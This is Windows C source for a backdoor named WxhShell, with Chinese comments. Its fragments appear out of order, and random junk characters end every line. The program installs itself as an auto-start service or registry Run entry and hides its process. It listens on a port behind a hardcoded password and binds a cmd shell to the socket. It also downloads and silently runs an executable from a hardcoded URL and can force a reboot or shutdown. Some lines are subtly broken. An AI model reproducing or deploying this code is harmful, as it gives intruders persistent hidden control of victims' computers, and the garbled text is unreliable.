    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q2[@yRY/z  
    else { N\ nr  
    closesocket(wsh); So &c\Ff  
    ExitThread(0); T8|aFoHCK  
    } F0,-7<G  
    break; gY'w=(/`  
    } VO"f=gFg  
  // 关机 WR'm<u  
  case 'd': { x|B$n } B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HF@K$RPK  
    if(Boot(SHUTDOWN)) 3,qq\gxB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _2*Ryz  
    else { moO=TGG;F  
    closesocket(wsh); @Y2"=QVt  
    ExitThread(0); +[l52p@a  
    } TE+d?  
    break; UO%Vu C5B  
    } dxm_AUM  
  // 获取shell CS[[TzC=5  
  case 's': { P $4h_dw  
    CmdShell(wsh); vwZd@%BO  
    closesocket(wsh); S,&tKDJn  
    ExitThread(0); GtZkzVqLd  
    break; .eQIU$Kw!O  
  } V&)lS Qw  
  // 退出 +QS7F`O  
  case 'x': { B-63IN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }T!2IaAB  
    CloseIt(wsh); Qg]8~^ Q<  
    break; nsChNwPX  
    } W)rE_tw,|  
  // 离开 z0ULB? *"  
  case 'q': { Zkn$D:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `V N $ S  
    closesocket(wsh); "]BefvE  
    WSACleanup(); 4fe$0mye  
    exit(1); /($!("b  
    break; cI#2MjL  
        } |E+tQQr%'  
  } 0>D:  
  } mi~ BdBv  
7Gb(&'n  
  // 提示信息 s(yVE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5gpqN)|)[  
} /$OX'L&b  
  } !X 3/2KRP7  
p^_E7k<ag  
  return; [oOA@  
} #A|~s;s>N  
.hh 2II  
// shell模块句柄 Up|\&2_  
int CmdShell(SOCKET sock) ZB-+ bY  
{ .F'fBT` $  
STARTUPINFO si; ,6[}qw) *  
ZeroMemory(&si,sizeof(si)); Ck,.4@\tK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kqYvd]ss  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,WF)GS|7V  
PROCESS_INFORMATION ProcessInfo; _#c^z;!  
char cmdline[]="cmd"; 4uip!@$K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )r O`K  
  return 0; 5BKmp-m  
} y%T5"p$,  
{b@rQCre7  
// 自身启动模式 amI$0  
int StartFromService(void) $q}}w||e~0  
{ rQNT  
typedef struct _`!@  
{ Y =3:Q%X  
  DWORD ExitStatus; "4FL<6  
  DWORD PebBaseAddress; p9<OXeY   
  DWORD AffinityMask; ]y 6`9p  
  DWORD BasePriority; [woR9azC  
  ULONG UniqueProcessId; 0y4z`rzTn  
  ULONG InheritedFromUniqueProcessId; }z&P^p)R  
}   PROCESS_BASIC_INFORMATION; Y[8w0ve- g  
J.x>*3< l  
PROCNTQSIP NtQueryInformationProcess; D5X;hd  
5*1wQlL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (sw1HR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \\jB@O  
%l@Q&)f8e  
  HANDLE             hProcess; sY,!Ir`/`  
  PROCESS_BASIC_INFORMATION pbi; ;_0)f  
d#T8|#O"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P[{w23`4  
  if(NULL == hInst ) return 0; JH!qGV1  
_C?<re3*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |7Z,z0 ?V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JbYv <  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [|{yr  
d"78w-S  
  if (!NtQueryInformationProcess) return 0; [~)i<V|qJ  
=$5[uI2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x+5Q}ux'G  
  if(!hProcess) return 0; 0_bt*.w I+  
6wzF6] @O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zTY|Z@:  
4'rWy~` V  
  CloseHandle(hProcess); |0w'+HaE~N  
G#'3bxI{f+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A"Rzn1/  
if(hProcess==NULL) return 0; S>7Zq5*  
my")/e  
HMODULE hMod;  $J mL)r  
char procName[255]; 8QYG"CA6/  
unsigned long cbNeeded; sTqy-^e7  
+7<{yP6wU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _u}v(!PI  
/#$bb4  
  CloseHandle(hProcess); fD q, )~D  
kETA3(h'  
if(strstr(procName,"services")) return 1; // 以服务启动 )iy>sa{  
c%)uG _  
  return 0; // 注册表启动 '2]u{rr~+  
} i`r,B`V`08  
f7X#cs)a  
// 主模块 &tZ?%sr  
int StartWxhshell(LPSTR lpCmdLine) 6f=/vRAh$  
{ p'k stiB  
  SOCKET wsl; ~PvW+UMLk  
BOOL val=TRUE; FStE/2?  
  int port=0; ?OKm~ Ek  
  struct sockaddr_in door; *6*#"#D  
cFUYT$8>  
  if(wscfg.ws_autoins) Install(); d^ !3bv*h  
aEdF Z  
port=atoi(lpCmdLine); <-Q0WP_^  
+,>f-kaV  
if(port<=0) port=wscfg.ws_port; 0s0[U  
5HG 7M&_  
  WSADATA data; .mDqZOpf=4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o;Zoj}  
,-CDF)~G=3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vyV n5s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RYE::[O7  
  door.sin_family = AF_INET; $},:z]%D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TFxb\  
  door.sin_port = htons(port); EhB9M!Y`@  
QY+#Vp<`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #2ZXYH}  
closesocket(wsl); 0&/1{Dk*n  
return 1; z9HQFRbo[  
} A&9l|b-"  
~J<bwF  
  if(listen(wsl,2) == INVALID_SOCKET) { O%o#CBf0  
closesocket(wsl); NG'VlT  
return 1; ErESk"2t  
} @+1E|4L1vf  
  Wxhshell(wsl); * {4cc  
  WSACleanup(); <O5;w  
RMC|(Q<  
return 0; `N(.10~  
8<n8joO0  
} 9,`mH0jP  
2+=|!+f  
// 以NT服务方式启动 HC{|D>x.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) />ob*sk/Y  
{ .?I!/;=[  
DWORD   status = 0; iZMsN*9[  
  DWORD   specificError = 0xfffffff; #-'}r}1ZT  
|B`-chK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C2<y(GU[Bh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NYP3uGH]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -&)^|Atm  
  serviceStatus.dwWin32ExitCode     = 0; ,;+\!'lS  
  serviceStatus.dwServiceSpecificExitCode = 0; 7Wb.(` a<  
  serviceStatus.dwCheckPoint       = 0; MCh8Q|Yx4  
  serviceStatus.dwWaitHint       = 0; 8~HC0o\2  
b V9Z[[\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y sr{1!K  
  if (hServiceStatusHandle==0) return; ys#M* {?  
eaX`S.!jR  
status = GetLastError(); ePs<jrB<  
  if (status!=NO_ERROR) <;=Y4$y[  
{ J+IW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tMAa$XrZj  
    serviceStatus.dwCheckPoint       = 0; ^<E+7  
    serviceStatus.dwWaitHint       = 0; klf<=V  
    serviceStatus.dwWin32ExitCode     = status; e<9nt [  
    serviceStatus.dwServiceSpecificExitCode = specificError; o B6" D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /#:RYM'Tu  
    return; ?G?=,tV  
  } 2M&4]d  
i[\[xfk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >^-[Mpa(*  
  serviceStatus.dwCheckPoint       = 0; ,x Tbt4J  
  serviceStatus.dwWaitHint       = 0; Y~vTFOI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U~H'c p  
} Ep?a>\  
"~V}MPt  
// 处理NT服务事件,比如:启动、停止 B4|`Z'U#;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HO@T2t[  
{ V)@MM2,  
switch(fdwControl) QK?5)[ J  
{ JG( <  
case SERVICE_CONTROL_STOP: w4x8 Sre  
  serviceStatus.dwWin32ExitCode = 0; WHNb.>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .vW~(ZuD  
  serviceStatus.dwCheckPoint   = 0; 4|2$b:t  
  serviceStatus.dwWaitHint     = 0; VBH[aIW  
  { Nb];LCx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o[v`Am?v  
  } u^]yz&9V  
  return; p +T&9  
case SERVICE_CONTROL_PAUSE: cEqh|Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P);Xke  
  break; rmabm\QY  
case SERVICE_CONTROL_CONTINUE: %'=oMbi>i4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :%>8\q>UX  
  break; x.^vWka(  
case SERVICE_CONTROL_INTERROGATE: KbUX(9+B  
  break; :?UIyN?  
}; zHdp'J"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }oN(nPxv9  
} j2P|cBXu  
+%<Jr<~W  
// 标准应用程序主函数 ;9I#>u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BphF+'CM  
{ I"!gzI`Sd  
E{fnh50^Q.  
// 获取操作系统版本 O ,>&w5   
OsIsNt=GetOsVer(); ks r5P~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X*JD  
H9>&"=".  
  // 从命令行安装 AN%.LK  
  if(strpbrk(lpCmdLine,"iI")) Install(); #KK(Z \;  
h7y*2:l6  
  // 下载执行文件 YSwD#jO0  
if(wscfg.ws_downexe) { c|.:J]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PaDT)RrEM  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZGbZu  
} %om7h$D =`  
E1C8yIF  
if(!OsIsNt) { RdDcMZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 uLCU3nI  
HideProc(); 'pe0Q-  
StartWxhshell(lpCmdLine); P\AH9#XL  
} @\h(s#sn  
else <=-\so(  
  if(StartFromService()) nB]Q^~jX  
  // 以服务方式启动 ' " tieew  
  StartServiceCtrlDispatcher(DispatchTable); d+;wDu   
else {+[gf:Ev  
  // 普通方式启动 YHA[PF   
  StartWxhshell(lpCmdLine); {Psj#.qP1  
\'EWur"  
return 0; !K 9(OX2;  
} y?JbJ  
yJL"uleRT  
p)jxqg  
g.]'0)DMW  
=========================================== ]Bsq?e^  
.UYpPuAkn  
ye%F <:O7  
e)xWQ=,C  
2)A D'  
S|J8:-  
" VM!x)i9z  
mTPj@F>  
#include <stdio.h> CHU'FSq!  
#include <string.h> :mrGB3x{  
#include <windows.h> /trc&V  
#include <winsock2.h> h+W^k+~(  
#include <winsvc.h> bS'r}  
#include <urlmon.h> )QE_+H}p  
10J*S[n1  
#pragma comment (lib, "Ws2_32.lib") (J4utw Z  
#pragma comment (lib, "urlmon.lib") %:,=J  
d<Os TA  
#define MAX_USER   100 // 最大客户端连接数 !LJ.L?9qw  
#define BUF_SOCK   200 // sock buffer J50 ~B3bj`  
#define KEY_BUFF   255 // 输入 buffer Pc7: hu  
p~.@8r(  
#define REBOOT     0   // 重启 1IV 0a  
#define SHUTDOWN   1   // 关机 )1vojp 4Za  
o W[,EW+u  
#define DEF_PORT   5000 // 监听端口 &rl>{Uvq  
6a?y $+pr  
#define REG_LEN     16   // 注册表键长度 (*RybKoaA  
#define SVC_LEN     80   // NT服务名长度 l(5-Cr  
;Wa{q.)  
// 从dll定义API &~%@QC/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \zi3.;9|;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c6HU'%v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zK 2wLX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tTt3D]h(  
]#$kA9  
// wxhshell配置信息 LU{Z  
struct WSCFG { wB)+og-^1f  
  int ws_port;         // 监听端口 is(!_Iv  
  char ws_passstr[REG_LEN]; // 口令 9^='&U9sr  
  int ws_autoins;       // 安装标记, 1=yes 0=no MuobMD}jqe  
  char ws_regname[REG_LEN]; // 注册表键名 R`Lm"5w  
  char ws_svcname[REG_LEN]; // 服务名 #:|Y(,c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cDiz!n*.q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VTWE-:r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !_9$[Oq~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h)rf6*hw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i6d$/ yP"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UTQKlwPa  
 9+QrTO  
}; 5E!m! nBZ  
hU 7fZl%yl  
// default Wxhshell configuration ]M(mq`K  
struct WSCFG wscfg={DEF_PORT, 9oP{Al  
    "xuhuanlingzhe", *d@Hnu"q  
    1, yj~"C$s  
    "Wxhshell", E aD@clJS  
    "Wxhshell", !XG&=Rd?  
            "WxhShell Service", pxxFm~"d  
    "Wrsky Windows CmdShell Service", 'pY;]^M  
    "Please Input Your Password: ", 0s|LK  
  1, -;\+uV  
  "http://www.wrsky.com/wxhshell.exe", rk/ c  
  "Wxhshell.exe" EYxRw  
    }; dz|*n'd  
$NT9LtT@K  
// 消息定义模块 i)L:VkN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o# xg:m_py  
char *msg_ws_prompt="\n\r? for help\n\r#>"; = Y-Ne6a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oKi1=d+T  
char *msg_ws_ext="\n\rExit."; el?V2v[  
char *msg_ws_end="\n\rQuit."; } +4Bf+u:  
char *msg_ws_boot="\n\rReboot..."; 1N!g`=}  
char *msg_ws_poff="\n\rShutdown..."; X-1Vp_(,TP  
char *msg_ws_down="\n\rSave to "; %vtSeJ  
51 0XDl~b  
char *msg_ws_err="\n\rErr!"; Mlw9#H6  
char *msg_ws_ok="\n\rOK!"; [ 5W#1 &  
7f%Qc %B  
char ExeFile[MAX_PATH]; NNw d;AC  
int nUser = 0; P\4tK<P|  
HANDLE handles[MAX_USER]; +n[wkgFd  
int OsIsNt; n u8j_grW  
J md ?  
SERVICE_STATUS       serviceStatus; `b")Bx|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *+j{9LK  
RVnyl`s  
// 函数声明 h+3Z.WKhwP  
int Install(void); `4.sy +2  
int Uninstall(void); g0j4<\F2\  
int DownloadFile(char *sURL, SOCKET wsh); loUwR z  
int Boot(int flag); KVM@//:{  
void HideProc(void); O^Vy"8Ji}y  
int GetOsVer(void); M`P]cX)x  
int Wxhshell(SOCKET wsl); n& m?BuG  
void TalkWithClient(void *cs); (}X?v`Y^W  
int CmdShell(SOCKET sock); >&vO4L  
int StartFromService(void); $U1kP?pR  
int StartWxhshell(LPSTR lpCmdLine); Ws*PMK.0  
< }wAP_y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n [Xzo}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \678Nx  
e( o/we{  
// 数据结构和表定义 a\69,%!:  
SERVICE_TABLE_ENTRY DispatchTable[] = kbYg4t]FH  
{ L-C/Luws  
{wscfg.ws_svcname, NTServiceMain}, H='9zqYZ<W  
{NULL, NULL} GHJ=-9{YL  
}; 6L2*gO:r?  
NhK(HTsvK  
// 自我安装 *:T>~ilF  
int Install(void) Bdq"6SK>  
{ cL)rjty2  
  char svExeFile[MAX_PATH]; k,R~oSA'n  
  HKEY key; z3Y)-  
  strcpy(svExeFile,ExeFile); id tQXwa  
|5IY`;+9  
// 如果是win9x系统,修改注册表设为自启动 )~.&bEm\  
if(!OsIsNt) { Pkx(M E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {,f!'i&b@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v^],loi<V  
  RegCloseKey(key); <`xRqe:&9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cre0e$ a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RpXs3=9  
  RegCloseKey(key); nn)`eR&  
  return 0; #1't"R+3M  
    } cCh5Jl@Z  
  } j t`p<gI  
} {#*?S>DA  
else { "26B4*  
CoUd16*"JM  
// 如果是NT以上系统,安装为系统服务 }1]!#yMfq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OgXZ-<'  
if (schSCManager!=0) Iq0 #A5U%  
{ 9{%g-u \  
  SC_HANDLE schService = CreateService L.0} UXd  
  ( :Q r7:$S^  
  schSCManager, 2Ph7qEBQ22  
  wscfg.ws_svcname, P\X=*  
  wscfg.ws_svcdisp, 8q~FUJhU  
  SERVICE_ALL_ACCESS, {{]=zt|69  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0"kE^=  
  SERVICE_AUTO_START, e.}3OK  
  SERVICE_ERROR_NORMAL, LD~Jbq  
  svExeFile, RC8)f8n  
  NULL, ^KZAYB9C  
  NULL, ^?6 W<  
  NULL, t$y&=v  
  NULL, q3x;_y^  
  NULL lNaez3  
  ); Ie2w0Cs28  
  if (schService!=0) Xrj(,|  
  { |.8d,!5w}  
  CloseServiceHandle(schService); kg?T$}O  
  CloseServiceHandle(schSCManager); }r~v,KDb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ll(e,9.D  
  strcat(svExeFile,wscfg.ws_svcname); O& 3r*vd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #U$YZ#B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X&9^&U=e  
  RegCloseKey(key); w(V? N'[  
  return 0; Ql q#Zdru  
    } 2%5^Fi  
  } vz yNc'  
  CloseServiceHandle(schSCManager); {V%%^Zhwy  
} k,;lyE  
} T3G/v)ufd  
ycrh5*g  
return 1; ^fE\S5P  
} h{W$ fZc<  
~ ^rey  
// 自我卸载 'z +$3\5L  
int Uninstall(void) d^Zo35X  
{ >?>ubM`,  
  HKEY key; +Q SxYV  
7cUR.PI#Q  
if(!OsIsNt) { %UUp=I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ok}{jwJ%W;  
  RegDeleteValue(key,wscfg.ws_regname); o\@ A2r3  
  RegCloseKey(key); agU%z:M{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P&[Ft)`  
  RegDeleteValue(key,wscfg.ws_regname); :jk)(=^  
  RegCloseKey(key); ~{7zm"jN  
  return 0; {WYu 0J@  
  } hF{x')(#l  
} jU]]:S4xD/  
} `P^u:  
else { &547`*  
o%V @D'w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [!J @a  
if (schSCManager!=0) Q? <-`7  
{ ?qf:_G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ch0oFc$  
  if (schService!=0) :(bdI]  
  { 3{Na ZIk  
  if(DeleteService(schService)!=0) { 2 ?Pt Z  
  CloseServiceHandle(schService); Q$xa  
  CloseServiceHandle(schSCManager); Em~7D ]Y  
  return 0; }g>dn  
  } HF &h  
  CloseServiceHandle(schService); KjFZ  
  } ig{A[7qN  
  CloseServiceHandle(schSCManager); iUeV5cB  
} --in+  
} C2+{U  
?(5o@Xq  
return 1; U6c)"^\  
} j>$=SMc  
pau*kMu^}  
// 从指定url下载文件 tJUVw=  
int DownloadFile(char *sURL, SOCKET wsh) n9]IBIthe  
{ <O \tC81  
  HRESULT hr; 6Gs{nFw  
char seps[]= "/"; %^a]J"Ydi8  
char *token; L!bfh`  
char *file; =oo[ Eyr  
char myURL[MAX_PATH]; $R A4U<  
char myFILE[MAX_PATH]; tt+>8rxF:;  
Z"6 2#VM  
strcpy(myURL,sURL); cr76cYq"Q  
  token=strtok(myURL,seps); dV5PhP>6  
  while(token!=NULL) `Mg8]H~  
  { cJxW;WI!,  
    file=token; d{QMST2&  
  token=strtok(NULL,seps); &_"ORqn&  
  } ^y&q5p jj  
;\<""Yj@l  
GetCurrentDirectory(MAX_PATH,myFILE); \p5|}<Sr)  
strcat(myFILE, "\\"); ^~ Ekg:`  
strcat(myFILE, file); gW%pM{PW  
  send(wsh,myFILE,strlen(myFILE),0); ! 9d _Gf-  
send(wsh,"...",3,0); #d7N| 9_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wc~3^ ;U  
  if(hr==S_OK) &?SX4c~?u  
return 0; J+{Ou rWt  
else C:]/8l  
return 1; M:R8<.{  
P7's8KOoS  
} _^_5K(Uq  
<e;jW K  
// 系统电源模块 dv"as4~%  
int Boot(int flag) yOX&cZ[  
{ %9t{Z1$  
  HANDLE hToken; {I4%   
  TOKEN_PRIVILEGES tkp; S-isL4D.Z  
4cott^K.  
  if(OsIsNt) { J6*f Uh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q}#iV$dAj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |:./hdcad  
    tkp.PrivilegeCount = 1; IZO@V1-m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wu4ot0SZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 25aNC;J  
if(flag==REBOOT) { "Owct(9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ci`zR9Ks  
  return 0; Z+NF(d  
} lwVk(l Z  
else { Y^ QKp"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) As0 B\  
  return 0; d'ZS;l   
} q<n[.u1@  
  } F;#zN  
  else { (VR" Mi4  
if(flag==REBOOT) { |)9thIQF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !6M Bxg>  
  return 0; ar Q)%W  
} %Nj #0YF]  
else { QS^~77q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N*Yy&[  
  return 0; 2R~6<W+&:>  
} ndr)3tuYu  
} s8^~NX(xdy  
Q8;#_HE  
return 1; (/&;jV2DD[  
} Nu@5 kwH  
qB:AkMd&  
// win9x进程隐藏模块 tmp6hB  
void HideProc(void) bMsECA&  
{ 8q0I:SJy  
~F;CE"3A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?KCivf  
  if ( hKernel != NULL ) {J2#eiF  
  { N&"QKd l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "# 2pT H~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @}(SR\~N]  
    FreeLibrary(hKernel); _lXt8}:+  
  } zDB" r  
dXl]Pe|v  
return; |k6Ox*  
} Axlm<3<wf"  
R"Kz!NTB  
// 获取操作系统版本 L x.jrF|&  
int GetOsVer(void) cJ. 7Mt  
{ lkb2?2\+  
  OSVERSIONINFO winfo; fYB*6Xb,w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .$Y? W<  
  GetVersionEx(&winfo); oE1M/*myS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 34z+INkX  
  return 1; X]!D;7^  
  else ys%zlbj[  
  return 0; +i.u< T  
} r!kLV)_  
MWs~#ReZ  
// 客户端句柄模块 ?eV_ACpZ8  
int Wxhshell(SOCKET wsl) @ .gPJMA  
{ F}'wH-qp  
  SOCKET wsh; X'x3esw w  
  struct sockaddr_in client;  D,Lp|V  
  DWORD myID; \,R!S/R#  
MU1E_"Z)  
  while(nUser<MAX_USER) 1[SA15h  
{ &cc9}V)M  
  int nSize=sizeof(client); s)k y/ce  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )t%h[0{{  
  if(wsh==INVALID_SOCKET) return 1; RDJ+QOVKg  
oxfF`L"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #dxvz^2V.3  
if(handles[nUser]==0) /;l[I=VI  
  closesocket(wsh); fagM7)x  
else B`{mdjMy  
  nUser++; DtI$9`~  
  } `*aBRwvK~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lc]1$  
U; U08/y  
  return 0; g*y/j]  
} z]=8eV\  
"Zcu[2,  
// 关闭 socket 1`JB)9P  
void CloseIt(SOCKET wsh) 3+(z_!Qh  
{ Blk}I  
closesocket(wsh); 'Jydu   
nUser--; xQU"A2{}>  
ExitThread(0); 3z3_7XI  
} .'j29 6[u  
 $:EG%jl  
// 客户端请求句柄 VI_+v[Hk/  
void TalkWithClient(void *cs) ] 8Tzr  
{ 6+3$:?  
"|t!7hC  
  SOCKET wsh=(SOCKET)cs; sn"fK=,#g  
  char pwd[SVC_LEN]; SkHYXe"]  
  char cmd[KEY_BUFF]; *5D3vB*S  
char chr[1]; ?3q@f\fZ  
int i,j; oa`#RC8N  
{DwIjy31T  
  while (nUser < MAX_USER) { m#\[m<F  
,Dp0fauJ  
if(wscfg.ws_passstr) { !9]d |8!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q]FBl}nwl%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9S>g6}[E#0  
  //ZeroMemory(pwd,KEY_BUFF); +sf .PSz$  
      i=0; !^WHZv4  
  while(i<SVC_LEN) { S^N {wZo  
z vO:"w}  
  // 设置超时 P :k+ y$  
  fd_set FdRead; <a|@t@R  
  struct timeval TimeOut; 8(lR!!=q  
  FD_ZERO(&FdRead); ^DB{qU  
  FD_SET(wsh,&FdRead); {@.Vh]  
  TimeOut.tv_sec=8; G1d(,4Xp  
  TimeOut.tv_usec=0; bL1m'^r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |cd-!iJX-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F!yV8XQ  
A@$kLex  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~<)vKk  
  pwd=chr[0]; #xT!E:W '  
  if(chr[0]==0xd || chr[0]==0xa) { }x:f%Z5h  
  pwd=0; gXy -Mpzp  
  break; Ef@,hX  
  } Ck'aHe22'  
  i++; cb$-6ZE/  
    } & mt)d  
vt1lR5  
  // 如果是非法用户,关闭 socket !{Z~<Ky  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LFf`K)q  
} >jTp6tu,  
<9eu1^g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zT#`qCbT'J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nidr\oFUIn  
0* F}o)n/m  
while(1) { sKL:p3r  
|+}G|hx@9  
  ZeroMemory(cmd,KEY_BUFF); lzhqcL"  
vmX"+sHz$]  
      // 自动支持客户端 telnet标准   Hd &{d+B  
  j=0; C6  "  
  while(j<KEY_BUFF) { ,6,]#R :J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m3.sVI0I  
  cmd[j]=chr[0]; (sTuG}  
  if(chr[0]==0xa || chr[0]==0xd) { t ls60h  
  cmd[j]=0; 1m@^E:w  
  break; 9 OT,TpA  
  } N#ioJ^}n:  
  j++; eQDX:b  
    } 3EK9,:<Cf  
u2iXJmM*  
  // 下载文件 s'\$t  
  if(strstr(cmd,"http://")) { W?Ww2Lo%Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >:1P/U  
